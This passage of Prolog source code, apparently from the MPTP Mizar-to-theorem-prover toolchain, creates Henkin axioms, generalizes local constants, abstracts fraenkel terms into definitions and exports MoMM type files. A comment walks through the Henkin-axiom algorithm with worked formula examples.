AList),\n\tload_proper_article(A, Options, PostLoadFiles),\n\tfindall(SI_Name,\n\t\t(\n\t\t  mk_problem_data(_,A,dummy,[[mizar_by,mizar_from,mizar_proof],\n\t\t\t\t\t     [theorem, top_level_lemma], problem_list(AList)],\n\t\t\t\t Options,_Outfile,_Line,_Col,AllRefs),\n\t\t  member(SI_Name, AllRefs),\n\t\t  atom_chars(SI_Name, [s, Digit | _]),\n\t\t  digit(Digit)\n\t\t),\n\t\tSI_Names\n\t       ),\n\t%% retract current file but return mml parts,\n\tretractall(fof(_,_,_,file(A,_),_)),\n\tload_files(PostLoadFiles,[silent(true)]).\n\n%% create and assert all scheme instances for a given article\nassert_sch_instances(File,Options):-\n\trepeat,\n\t( gen_sch_instance(_,File,Res,Options), assert(Res), fail; true).\n\n\n%%%%%%%%%%%% Creating henkin axioms %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\n%% create and assert all henkin axioms for a given article\nassert_henkin_axioms(File,_Options):-\n\trepeat,\n\t(\n\t  fof_file(File,Id),\n\t  clause(fof(Ref,_,_,file(File,Ref),[Mptp_info|Rest]),_,Id),\n\t  (member(mizar_nd(inference(let,_,Refs0)), Rest) ->\n\t      append(Defs,[T],Refs0),\n\t      %% remove possible thesisexpansions\n\t      findall(Hax,(member(Hax,Defs),atom_prefix(Hax,'dh_')),Henkin_Refs),\n\t      create_henkin_axioms_let_top(Henkin_Refs,T,HaFofs)\n\t  ;\n\t      Mptp_info = mptp_info(_,_,_,_,[_,_,considered_constants(HC)|_]),\n\t      maplist(atom_concat('dh_'),HC,Henkin_Refs),\t    \n\t      create_henkin_axioms_consider_top(Henkin_Refs,Ref,HaFofs)\n\t  ),\n\t  checklist(assert,HaFofs),\n\t  fail\n\t;\n\t  true\n\t).\n/*\n   example:\n   fof(t2_abcmiz_0,theorem,![B1: l1_abcmiz_0]: ![B2: l1_abcmiz_0]: ( ( ( u1_abcmiz_0(B1) = u1_abcmiz_0(B2) ) & sort(B1,v4_abcmiz_0) ) => ( sort(B2,v4_abcmiz_0) ) ),file(abcmiz_0,t2_abcmiz_0),[mptp_info(2,[],theorem,position(257,37),[0,mizar_item(justifiedtheorem)]),inference(mizar_proof,[proof_level([14])],[d4_abcmiz_0,e2_14,e1_14,d4_abcmiz_0]),mizar_nd(inference(let,[],[dh_c1_14,dh_c2_14,i1_14]))]).\n fof(dt_c1_14,assumption,sort(c1_14,l1_abcmiz_0),file(abcmiz_0,c1_14),[mptp_info(1,[14],constant,position(0,0),[let,type])]).\n fof(dt_c2_14,assumption,sort(c2_14,l1_abcmiz_0),file(abcmiz_0,c2_14),[mptp_info(2,[14],constant,position(0,0),[let,type])]).\n fof(i1_14,thesis,( ( ( u1_abcmiz_0(c1_14) = u1_abcmiz_0(c2_14) ) & sort(c1_14,v4_abcmiz_0) ) => ( sort(c2_14,v4_abcmiz_0) ) ),file(abcmiz_0,i1_14),[mptp_info(1,[14],thesis,position(0,0),[]),mizar_nd(inference(discharge_asm,[discharged([e1_14])],[i2_14]))]).\n\n algo for \"let\":\n 1. get the ND inference references, i.e. [dh_c1_14,dh_c2_14,i1_14]\n 2. look up the used referred thesis, i.e. i1_14\n    (cannot use the orig. thesis, i.e. t2_abcmiz_0, because of thesis expansions)\n 3. look up the sort declaration, i.e.  dt_c1_14,dt_c2_14  \n 4. create henkin axiom for the last constant, i.e.\n 4a. replace the last (n-th) constant everywhere with a new variable V_n (V2),\n     yielding GenThes_, i.e.:\n     GenThes_n = ( ( u1_abcmiz_0(c1_14) = u1_abcmiz_0(V2) ) & sort(c1_14,v4_abcmiz_0) )\n     => ( sort(V2,v4_abcmiz_0) )\n 4b. add the universal quantifier, with the n-th constant's sort,\n     yielding UnivGenThes_n,i.e.:\n     UnivGenThes_ = ![V2:  l1_abcmiz_0] : GenThes1\n 4c. create the implication (Sort => Thesis) => UnivGenThes_n, i.e.:\n     (sort(c1_14,l1_abcmiz_0)\n      =>\n      ( ( ( u1_abcmiz_0(c1_14) = u1_abcmiz_0(c2_14) ) & sort(c1_14,v4_abcmiz_0) )\n         => sort(c2_14,v4_abcmiz_0) )\n     )\n     => ![V2:  l1_abcmiz_0] : GenThes_n\n 4d. the result ((Sort => Thesis) => UnivGenThes_n) is the henkin axiom for the last (n-th) constant,\n     here for c2_14, i.e dh_c2_14\n 5.  iterate for the rest of the constants, taking UnivGenThes_{n+1} instead of\n     thesis for n-th constant\n\n\n fof(dt_c1_25_1_1,lemma_conjecture,sort(c1_25_1_1,( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 )),file(abcmiz_0,c1_25_1_1),[mptp_info(1,[25,1,1],constant,position(0,0),[consider,type]),mizar_nd(inference(consider,[],[dh_c1_25_1_1,e1_25_1_1]))]).\n fof(dt_c2_25_1_1,lemma_conjecture,sort(c2_25_1_1,( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )),file(abcmiz_0,c2_25_1_1),[mptp_info(2,[25,1,1],constant,position(0,0),[consider,type]),mizar_nd(inference(consider,[],[dh_c1_25_1_1,dh_c2_25_1_1,e1_25_1_1]))]).\n fof(dt_c3_25_1_1,lemma_conjecture,sort(c3_25_1_1,( v1_funct_1 & v1_funct_2(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(c2_25_1_1))) & m2_relset_1(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(c2_25_1_1)))\n )),file(abcmiz_0,c3_25_1_1),[mptp_info(3,[25,1,1],constant,position(0,0),[consider,type]),mizar_nd(inference(consider,[],[dh_c1_25_1_1,dh_c2_25_1_1,dh_c3_25_1_1,e1_25_1_1]))]).\n\n fof(e1_25_1_1,lemma_conjecture,?[B1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 )]: ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]: ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(B1),k5_finsub_1(u1_abcmiz_0(B2))) & m2_relset_1(u1_struct_0(B1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true,file(abcmiz_0,e1_25_1_1),[mptp_info(1,[25,1,1],proposition,position(408,68),[0,mizar_item(consider_justification),considered_constants([c1_25_1_1,c2_25_1_1,c3_25_1_1])]),inference(mizar_by,[],[])]).\n\n\n algo for \"consider\":\n 1. get the ND inference references, i.e. [dh_c1_25_1_1,e1_25_1_1]\n 2. complete the constant list, using the considered_constants slot of the last reference (Just)\n     (i.e. e1_25_1_1) to the full list, i.e. c1_25_1_1,c2_25_1_1,c3_25_1_1\n 3. look up the sort declaration, i.e.   dt_c1_25_1_1,dt_c2_25_1_1,dt_c3_25_1_1\n 4. create henkin axiom for the first constant, i.e.\n 4a. instantiate the first variable everywhere with the first constant,\n     yielding ExRes_1, i.e.:\n     ExRes_1 = ?[c1_25_1_1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 )]:\n               ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]:\n \t      ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2)))\n \t\t    & m2_relset_1(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true    \n 4b. strip the exist. quantifier, yielding the 1st constant's sort (Srt_1 - note that we do\n     not copy it from the sort declaration, to be independent for verification), and Res_1:\n     Srt1 = sort(c1_25_1_1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 ))\n     Res_1 = ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]:\n             ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2)))\n                   & m2_relset_1(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true\n\n 4c. create the implication Just => (Srt_1 & Res1), i.e.:\n     ( ?[B1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 )]:\n       ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]:\n       ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(B1),k5_finsub_1(u1_abcmiz_0(B2)))\n             & m2_relset_1(u1_struct_0(B1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true )\n     => sort(c1_25_1_1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 ))\n        & ( ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]:\n            ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2)))\n                  & m2_relset_1(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true)\n\n 4d. the result (Just => (Srt_1 & Res1)) is the henkin axiom for the first constant,\n     here for c1_25_1_1, i.e dh_c1_25_1_1\n 5.  iterate for the rest of the constants, taking Res_{n-1} instead of\n     Just for n-th constant\n\n*/\n\n%% apply_const_subst(+(Const/Var),+Fla,-Fla1)\n%%\n%% applies local constant substitution to Fla\n\n%% end of traversal\napply_const_subst(_,X,X):- var(X),!.\napply_const_subst((X1/Var1),X1,Var1):- atomic(X1), mptp_local_const(X1), !.\napply_const_subst(_,X,X):- atomic(X),!.\n\napply_const_subst(Subst,X1,X2):-\n\tX1 =.. [H1|T1],\n\tmaplist(apply_const_subst(Subst),T1,T2),\n\tX2 =.. [H1|T2].\n\n%% make a new variable for the constant\nmake_const_var_subst(Const, (Const/_NewVar)).\n\n\n%% create_henkin_axioms_let_top(+Henkin_Refs,+Thesis_Ref,-Henkin_Fofs)\n%%\n%% this assumes that the Henkin_Refs come in the right order, i.e.\n%% from first constant to the last (if not they need to be sorted)\ncreate_henkin_axioms_let_top(Henkin_Refs0,Thesis_Ref,Henkin_Fofs0):-\n\treverse(Henkin_Refs0, Henkin_Refs),\n\tensure(get_ref_fla(Thesis_Ref,Thesis), henkin(Thesis_Ref)),\n\tensure(maplist(atom_concat('dh_'),Consts,Henkin_Refs),henkin_bad_refs(Henkin_Refs0)),\n\tmaplist(atom_concat('dt_'),Consts,Sort_Refs),\n\tcreate_henkin_axioms_let(Henkin_Refs,Consts,Sort_Refs,Thesis,_,Henkin_Fofs),\n\treverse(Henkin_Fofs, Henkin_Fofs0), !.\n\n\n%% create_henkin_axioms_let(+Henkin_Refs,+Constants,+Sort_Refs,+Instance,-UnivInst,-Henkin_Fofs)\n%%\n%% the loop - needed for passing the generalized instance along\ncreate_henkin_axioms_let([],[],[],Inst,Inst,[]).\ncreate_henkin_axioms_let([HRef|HRefs],[Const|Consts],[SRef|SRefs],Instance,UnivInst,[HFof|HFofs]):-\n\tcreate_henkin_axiom_let(HRef,Const,SRef,Instance,UnivGenInst,HFof),\n\tcreate_henkin_axioms_let(HRefs,Consts,SRefs,UnivGenInst,UnivInst,HFofs).\n\n\n%% create_henkin_axiom_let(+Henkin_Ref,+Const,+Sort_Ref,+Instance,-UnivGenInst,-Henkin_Fof)\n%%\n%% Given the desired name of the new axiom (Henkin_Ref), the new constant (Const),\n%% its sort declaration (Sort_Ref with formula Sort_Fla sort(Const,Sort)), and the instance formula (Instance),\n%% containing the Const, replace Const in Instance with NewVar, and add quantification (! [NewVar : Sort])\n%% yielding UnivGenInst, and \n%% create the Henkin_Fof, saying that\n%% (sort(Const,Sort) => Instance) => UnivGenInst\n%%\n%% note that the processing order of constants guarantees\n%% that only the right constants are present in the new quantification\ncreate_henkin_axiom_let(Henkin_Ref,Const,Sort_Ref,Instance,UnivGenInst,Henkin_Fof):-\t\n\tcopy_term(Instance, Tmp0),\n\tmake_const_var_subst(Const, (Const/NewVar)),\n\tapply_const_subst((Const/NewVar), Tmp0, Tmp),\n\tensure(get_ref_fof(Sort_Ref, fof(_,_,Sort_Fla,FileInfo,[mptp_info(Nr,Lev,constant,Pos,[Kind,type|_])|_])),\n\t       henkin_noref(Sort_Ref)),\n\tensure( (Sort_Fla = sort(Const, Sort)), henkin_bad_sort(Sort_Fla)),\n\tcopy_term(Sort, Sort1),\n\tUnivGenInst = ( ! [NewVar : Sort1] : ( Tmp) ),\n\tcopy_term((Sort_Fla => Instance), Tmp1),\n\tHenkin_Ax = ( Tmp1 => UnivGenInst ),\n\tHenkin_Fof = fof(Henkin_Ref, axiom, Henkin_Ax, FileInfo,\n\t\t\t [mptp_info(Nr,Lev,constant,Pos,[Kind,henkin_axiom])]),!.\n\n\n%% create_henkin_axioms_consider_top(+Henkin_Refs,+Thesis_Ref,-Henkin_Fofs)\n%%\n%% this assumes that the Henkin_Refs come in the right order, i.e.\n%% from first constant to the last (if not they need to be sorted)\ncreate_henkin_axioms_consider_top(Henkin_Refs,Thesis_Ref,Henkin_Fofs):-\n\tensure(get_ref_fla(Thesis_Ref,Thesis), henkin(Thesis_Ref)),\n\tensure(maplist(atom_concat('dh_'),Consts,Henkin_Refs),henkin(Thesis_Ref)),\n\tmaplist(atom_concat('dt_'),Consts,Sort_Refs),\n\tcreate_henkin_axioms_consider(Henkin_Refs,Consts,Sort_Refs,Thesis,_,Henkin_Fofs),!.\n\n\n%% create_henkin_axioms_consider(+Henkin_Refs,+Constants,+Sort_Refs,+ExFla,-ExInstance,-Henkin_Fofs)\n%%\n%% the loop - needed for passing the instance along\ncreate_henkin_axioms_consider([],[],[],Inst,Inst,[]).\ncreate_henkin_axioms_consider([HRef|HRefs],[Const|Consts],[SRef|SRefs],ExFla,ExInstance,[HFof|HFofs]):-\n\tcreate_henkin_axiom_consider(HRef,Const,SRef,ExFla,ExInst1,HFof),\n\tcreate_henkin_axioms_consider(HRefs,Consts,SRefs,ExInst1,ExInstance,HFofs).\n\n%% create_henkin_axiom_consider(+Henkin_Ref,+Const,+Sort_Ref,+ExFla,-ExInstance,-Henkin_Fof)\n%%\n%% Given the desired name of the new axiom (Henkin_Ref), the new constant (Const),\n%% its sort declaration (Sort_Ref - this is only used for useful_info of\n%% the new axiom), and the existential formula (ExFla, in the form ? [(ExVar : Sort)] : Body ),\n%% create the Henkin_Fof, saying that \n%% ExFla => (sort(Const,Sort) & Body),\n%% and also return ExInstance, which is Body with ExVar instantiated to Const.\n%%\n%% Note that the processing order of constants guarantees\n%% that only the right constants are present in the new quantification.\n%% Also note that the Sort_Ref is only used for getting the  mptp_info\n%% when creating the new fof, not for copying the sort from its formula.\ncreate_henkin_axiom_consider(Henkin_Ref,Const,Sort_Ref,ExFla,ExInstance,Henkin_Fof):-\t\n\tcopy_term(ExFla, Tmp0),\n\t%% Sort is without external variables at this point\n\t%% (there still can be some inside fraenkels though -\n\t%% that's why we do copy_term below)\n\tensure(strip_exist(Tmp0, ExVar, Sort, Body), henkin(Const)),\n\tExVar = Const,\n\tcopy_term(Sort, Sort1),\n\tcopy_term((ExFla => (sort(Const,Sort1) & Body)), Henkin_Ax),\n\tcopy_term(Body, ExInstance),\n\tensure(get_ref_fof(Sort_Ref, fof(_,_,sort(Const,_),FileInfo,\n\t\t\t\t\t [mptp_info(Nr,Lev,constant,Pos,[Kind,type|_])|_])),\n\t       henkin(Sort_Ref)),\n\tHenkin_Fof = fof(Henkin_Ref, axiom, Henkin_Ax, FileInfo,\n\t\t\t [mptp_info(Nr,Lev,constant,Pos,[Kind,henkin_axiom])]),!.\n\n\n%% strip_exist(+ExFla, -ExVar, -Sort, -Body)\n%%\n%% Strip existential quantifier, and return the parts.\n%% Handle also negated universal formulas, and top double negations.\n%% Throw exception if failure.\nstrip_exist( ? [(ExVar : Sort) | Srts ] : Fla, ExVar, Sort, Body):- !,\n\t(Srts = [] -> Body = Fla ; Body = ( ? Srts : Fla )).\nstrip_exist( ~(~( Fla)), ExVar, Sort, Body):- !, strip_exist( Fla, ExVar, Sort, Body).\nstrip_exist( ~( ! Q : ( ~( Fla))), ExVar, Sort, Body):- !, strip_exist( ? Q : Fla, ExVar, Sort, Body).\nstrip_exist( ~( ! Q : Fla), ExVar, Sort, Body):- !, strip_exist( ? Q : ( ~( Fla)), ExVar, Sort, Body).\nstrip_exist(Fla, _, _, _) :- throw(strip_exist(Fla)).\n\n\n\n%%%%%%%%%%%% Constant generalization (abstraction) %%%%%%%%%%%%%%%%%%%%\n\n%% get_consts_and_refs(+RefsIn, +ConstsIn, +AddedConsts, -RefsOut, -ConstsOut)\n%%\n%% Collect all constants together with their type definitions.\n%% Start with a list of references (type defs) and known constants, \n%% and recursively add all references and constants mentioned in the\n%% type defs.\nget_consts_and_refs(RefsIn, ConstsIn, AddedConsts, RefsOut, ConstsOut):-\n\tget_sec_info_refs(RefsIn, AddedConsts,\n\t\t\t  [mptp_info(_,_,constant,_,[_,type|_])|_], NewRefs),\n\t([] = NewRefs ->\n\t    (RefsOut = RefsIn, ConstsOut = ConstsIn)\n\t;\n\t    maplist(get_ref_fla, NewRefs, Sorts0),\n\t    collect_symbols_top(Sorts0, Syms0),\n\t    sublist(mptp_local_const, Syms0, Consts0),\n\t    subtract( Consts0, ConstsIn, Consts1),\n\t    union(ConstsIn, Consts1, AllConsts1),\n\t    union(RefsIn, NewRefs, AllRefs1),\n\t    get_consts_and_refs(AllRefs1, AllConsts1, Consts1, RefsOut, ConstsOut)\n\t).\n\n%% cmp_const_info(-Res, +Fof1, +Fof2)\n%%\n%% Compare two Fofs (##ASSUME: containining type defs of consts,\n%% with proper (and different) info). Const in sublevel is always\n%% larger than const on superlevel (##TODO: not consistent with positions!),\n%% on the same level, compare just by const number.\n%% This ensures that the infos are comparable and different\ncmp_const_info(Res, fof(_,_,_,_,[mptp_info(Nr1,Lev1,_,_,_)|_]),\n\t       fof(_,_,_,_,[mptp_info(Nr2,Lev2,_,_,_)|_])):- !,\n\t(Lev1 = Lev2 ->\n\t    (compare(Res,Nr1,Nr2),\n\t\tensure(Nr1 \\= Nr2, cmp_const_info(Nr1,Lev1)))\n\t;\n\t    (sublevel(Lev1, Lev2) ->\n\t\tRes = '>'\n\t    ;\n\t\t(ensure(sublevel(Lev2, Lev1), cmp_const_info(Lev1,Lev2)),\n\t\t    Res = '<'))).\n\n%% must not be reached\ncmp_const_info(_,I1,I2):- ensure( fail, cmp_const_info(I1,I2)).\n\ninsrt_by_info(X, [], [X]).\ninsrt_by_info(F1, [F2|T], Sorted):-\n\tcmp_const_info(Res, F1, F2),\n\t(Res = '<' ->\n\t    Sorted = [F1,F2|T]\n\t;\n\t    (insrt_by_info(F1, T, Sorted1),\n\t\tSorted = [F2|Sorted1])\n\t).\n\n%% This is an insert sort by mptp_info.\n%% All consts must be comparable, and different.\n%% Could be done using article_position/2 .\nsort_by_const_names([], Sorted, Sorted).\nsort_by_const_names([H|T], Sorted, Res):-\n\tinsrt_by_info(H, Sorted, Sorted1),\n\tsort_by_const_names(T, Sorted1, Res).\n\n\n\n%% find the corresponding subst for X, throw exception if not\n%% X is assumed to be a local constant\nget_const_subst(X,[],_):- !, throw(const_subst(X)).\nget_const_subst(X,[Z/Y|_],Z/Y):- X == Z, !.\nget_const_subst(X,[_|T],Subst):- get_const_subst(X,T,Subst).\n\n%% apply_const_substs(+Substs,+Fla,-Fla1)\n%%\n%% applies local constant substitutions to Fla, throwing exception\n%% if no substitution for any local const exists\n\n%% end of traversal\napply_const_substs(_,X,X):- var(X),!.\n\napply_const_substs(Substs,X1,Var1):- atomic(X1), mptp_local_const(X1), !,\n\tget_const_subst(X1,Substs,X1/Var1).\n\napply_const_substs(_,X,X):- atomic(X),!.\napply_const_substs(Substs,X1,X2):-\n\tX1 =.. [H1|T1],\n\tmaplist(apply_const_substs(Substs),T1,T2),\n\tX2 =.. [H1|T2].\n\n%% make_const_var_substs(+Consts, -Substs).\n%%\n%% Make new variable substitutions for the constants.\nmake_const_var_substs([], []).\nmake_const_var_substs([H|T], [(H/_NewVar)|NewSubsts]):-\n\tmake_const_var_substs(T, NewSubsts).\n\n%% generalize_consts(+In, -Out, -UnivContext, -Subst)\n%%\n%% Generalize local constants into free (later universally bound) variables.\n%% All local consts in +In are replaced with new vars in Out, these vars\n%% are collected in UnivContext (with their sorts),\n%% -Subst is the substitution which turns -Out into +In again\n%% (actually vice versa - it has format: [Constant1/Var1,...])\ngeneralize_consts(In, Out, UnivContext, NewConstSubst):-\n\tcollect_symbols_top(In, Syms0),\n\tsublist(mptp_local_const, Syms0, Consts0),\n\tget_consts_and_refs([], Consts0, Consts0, SortRefs, AllConsts),\n\tlength(AllConsts, N),\n\tensure(length(SortRefs, N), gen_consts(In,AllConsts,SortRefs)),\n\tmaplist(get_ref_fof, SortRefs, SortFofs),\n\tsort_by_const_names(SortFofs, [], SortFofs1),\n\tmaplist(arg(3), SortFofs1, SortFlas1),\n\tensure( zip_s(sort, SortedConsts,Sorts,SortFlas1),gen_consts),\n\tzip_s(':', SortedConsts, Sorts, Context1),\n\tonce(make_const_var_substs(SortedConsts, NewConstSubst)),\n\tapply_const_substs(NewConstSubst, [In,Context1], [Out,UnivContext]).\n\n%%%%%%%%%%%% End of constant generalization %%%%%%%%%%%%%%%%%%%%%%%%%%%\n\n%%%%%%%%%%%% Installation of fraenkel definitions %%%%%%%%%%%%%%%%%%%%%\n\n%% inst_univ_fof([+Fof,+Substs], -Res)\n%% apply all the substitutioons in Substs to Fof, assuming that\n%% the length of Substs equals the first quantif. prefix, and\n%% the prefic contains the insntiated vars; strip this quantif. prefix\ninst_univ_fof([X,[]],X):- !.\ninst_univ_fof([fof(R,R1,(! [_] : Out),R3,R4),[Cnst/Var]], Res):- !,\n\tVar = Cnst,\n\tRes = fof(R,R1,Out,R3,R4).\ninst_univ_fof([fof(R,R1,(! [_|Vs] : Out),R3,R4),[Cnst/Var|T]], Res):- !,\n\tVar = Cnst,\n\tinst_univ_fof([fof(R,R1,(! Vs : Out),R3,R4), T], Res).\n\ninst_univ_fof(_,_):- throw(inst_univ_fof).\n\n%% assert_fraenkel_def(+File,[+NewSym, +Def], -NewName)\n%%\n%% create the fof for a given pair [NewSym, Def], and assert.\n%% Now handles also choice terms - with different naming.\nassert_fraenkel_def(File,[NewSym, Def], NewName):-\n\t(mptp_fraenkel_sym(NewSym) ->\n\t concat_atom(['fraenkel_', NewSym], NewName),\n\t Res= fof(NewName, definition, Def, file(File,NewSym),\n\t\t  [mptp_info(0,[],fraenkel,position(0,0),[])])\n\t;\n\t ensure(mptp_choice_sym(NewSym), assert_fraenkel_def(File,[NewSym,Def])),\n\t concat_atom(['dt_', NewSym], NewName),\n\t Res= fof(NewName, axiom, Def, file(File,NewSym),\n\t\t  [mptp_info(0,[],o,position(0,0),[ctype])])\n\t),\n\tassert(Res),!.\n\nprint_clause_id(Id):- clause(X,_,Id), print(X), nl, !.\nprint_nl(X):- print(X), nl, !.\n\n%% abstract_fraenkels(+Article, +Options, -NewFrSyms, -NewFlaNames)\n%%\n%% Create definitions for all fraenkel and choice terms in Article,\n%% in which the possible local consts are generalized-out;\n%% assert these definitions as new fofs, erase the original clauses\n%% with fraenkel terms and assert instead of them their versions\n%% with fraenkel terms replaced by the new fraenkel functors.\n%% Schemes containing fraenkels are saved for possible instantiations\n%% in sch_orig_copy/2 .\n%% For choice terms, only the type fla is created, there is no definition.\nabstract_fraenkels(Article, Options, NewFrSyms, NewFlaNames):-\n\tfindall(Id,(fof_file(Article,Id),\n\t\t    clause(fof(_,_,Fla,file(_,_),_),_,Id),\n\t\t    once(check_if_symbol(Fla, all);check_if_symbol(Fla, the))),Ids), !,\n\t%% keep original form of schemes with fraenkel in sch_orig_copy/2 -\n\t%% needed for correct scheme instantiation\n\tfindall([SchRef, SchFla],\n\t\t(\n\t\t  member(Id,Ids),\n\t\t  clause(fof(SchRef,theorem,SchFla,file(_,_),[mptp_info(_,_,scheme,_,_)|_]),_,Id),\n\t\t  retractall(sch_orig_copy(SchRef,_)),\n\t\t  assert(sch_orig_copy(SchRef, SchFla))\n\t\t),\n\t\t_),\n\t%% collect fraenkel and choice infos and put variables into fraenkel and choice flas\n\tfindall([[fof(R,R1,Out,R3,R4),Subst],Info],\n\t\t(member(Id,Ids), clause(fof(R,R1,R2,R3,R4),_,Id),\n\t\t    (\n\t\t      member(opt_NO_FRAENKEL_CONST_GEN, Options),\n\t\t      Subst = [], Out2 = R2\n\t\t    ;\n\t\t      not(member(opt_NO_FRAENKEL_CONST_GEN, Options)),\n\t\t      once(generalize_consts(R2, Out1, UnivContext, Subst)),\n\t\t      add_univ_context(UnivContext, Out1, Out2)\n\t\t    ),\n\t\t    all_collect_top(Out2,Out,Info)),\n\t\tS1),\n\tzip(FofSubsts, Infos1, S1),\n\tappend_l(Infos1,Infos),\n\t%% instantiate fraenkels with their defs, create the defs\n\tmk_fraenkel_defs_top(Article, Infos, NewFrSyms, Defs),\n\t%% Defs generally share context vars with the original flas,\n\t%% and with each other (if multiple fraenkels in one fla);\n\t%% so we have to give them fresh vars, since the vars in original\n\t%% flas can be e.g. instantiated back to constants\n\tmaplist(copy_term,Defs,Defs1),\n\tdbg(dbg_FRAENKELS, checklist(print_nl, Defs1)),\n\t%% now we can safely instantiate the added vars to constants again\n\tmaplist(inst_univ_fof, FofSubsts, Fofs),\n\tchecklist(erase, Ids),\n\tchecklist(assert, Fofs),\n\tdbg(dbg_FRAENKELS, checklist(print_nl, Fofs)),\n\tlength(Defs1, NDefs1), length(Ids, NIds),\n\tformat('~w: ~p flas with fraenkel terms, ~p defs created ~n',\n\t       [Article,NIds,NDefs1]),\n\tmaplist(assert_fraenkel_def(Article), Defs1, NewFlaNames).\n\nabstract_fraenkels_if(Article):- fraenkels_loaded(Article),!.\nabstract_fraenkels_if(Article):-\n\tabstract_fraenkels(Article, [], _, _),\n\tassert(fraenkels_loaded(Article)),!.\n\n%%%%%%%%%%%% End of Installation of fraenkel definitions %%%%%%%%%%%%%%%%%%%%%\n\n%%%%%%%%%%%% MoMM export %%%%%%%%%%%%%%%%%%%%%\n\n%% We want the following format for MoMM type files (.typ):\n%%\n%% for functors:\n%% type(Functor(Vars),TypeConstr(Functor(Vars),AdditionalArgs)).\n%%\n%% for types:\n%% type(TypeConstr(Vars),SuperTypeConstr(ArgsOfVars)).\n%%\n%%\n%% type(g1_struct_0(A1), l1_struct_0(g1_struct_0(A1))).\n%% type(l2_struct_0(A1), l1_struct_0(A1)).\n%% type(g2_struct_0(A1,A2), l2_struct_0(g2_struct_0(A1,A2))).\n%% type(u2_struct_0(A1), m1_subset_1(u2_struct_0(A1),u1_struct_0(A1))).\n%% type(k1_struct_0(A1,A2,A3), m1_subset_1(k1_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k2_struct_0(A1,A2,A3), m1_subset_1(k2_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k3_struct_0(A1,A2,A3), m1_subset_1(k3_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k4_struct_0(A1,A2,A3), m1_subset_1(k4_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k5_struct_0(A1,A2), m1_subset_1(k5_struct_0(A1,A2),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(k6_struct_0(A1,A2,A3), m1_subset_1(k6_struct_0(A1,A2,A3),k1_zfmisc_1(u1_struct_0(A1)))).\n%% type(m1_struct_0(A3,A1,A2), m1_subset_1(A3,u1_struct_0(A1))).\n%% type(k7_struct_0(A1,A2,A3), m2_setfam_1(k7_struct_0(A1,A2,A3),u1_struct_0(A1))).\n%% type(k8_struct_0(A1,A2,A3), m2_setfam_1(k8_struct_0(A1,A2,A3),u1_struct_0(A1))).\n%% type(k9_struct_0(A1,A2,A3), m2_setfam_1(k9_struct_0(A1,A2,A3),u1_struct_0(A1))).\n\n%% mk_momm_typ_files(+OutDirectory)\n%%\n%% Create MoMM typ files for all MML articles in directory OutDirectory.\n%% ##TEST: :- mk_momm_typ_files('00mommtypes/').\nmk_momm_typ_files(OutDirectory):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\tall_articles(ArticleNames),\n\tchecklist(abstract_fraenkels_if, ArticleNames),\n\tinstall_index,\n\tchecklist(article_momm_typ_file(OutDirectory), [hidden, tarski | ArticleNames]).\n\n%% article_momm_typ_file(+OutDirectory,+A)\n%%\n%% Create MoMM typ file for article A in directory OutDirectory.\narticle_momm_typ_file(OutDirectory,A):-\n\tconcat_atom([OutDirectory, A, '.', typ], OutFile),\n\ttell(OutFile),\n\trepeat,\n\t(\n\t fof_toplevel(A,Id),\n\t clause(fof(_Ref,_Role,MptpFla,file(A,_Constr),[MptpInfo|_]),_,Id),\n\t MptpInfo = mptp_info(_RelNr,[],ConstrKind,_Pos,[ctype]),\n\t constr_type_fla2momm(ConstrKind,MptpFla,MommFla),\n\t numbervars(MommFla, 0, _),\n\t print(MommFla),\n\t write('.'), nl,\n\t fail\n\t;\n\t told\n\t).\n\n%% constr_type_fla2momm(+ConstrKind,+MptpFla,-MommFla)\n%%\n%% This fails for predicates.\nconstr_type_fla2momm(ConstrKind,MptpFla,MommFla):-\n\t(\n\t member(ConstrKind,[k,g,u]) ->\n\t func_type_fla2momm(MptpFla, MommFla)\n\t;\n\t member(ConstrKind,[m,l]),\n\t mode_type_fla2momm(MptpFla, MommFla)\n\t).\n\t \n%% func_type_fla2momm(+MptpFla, -MommFla)\n%%\n%% Create a MoMM functor type fla from MPTP functor type fla.\n%% This can 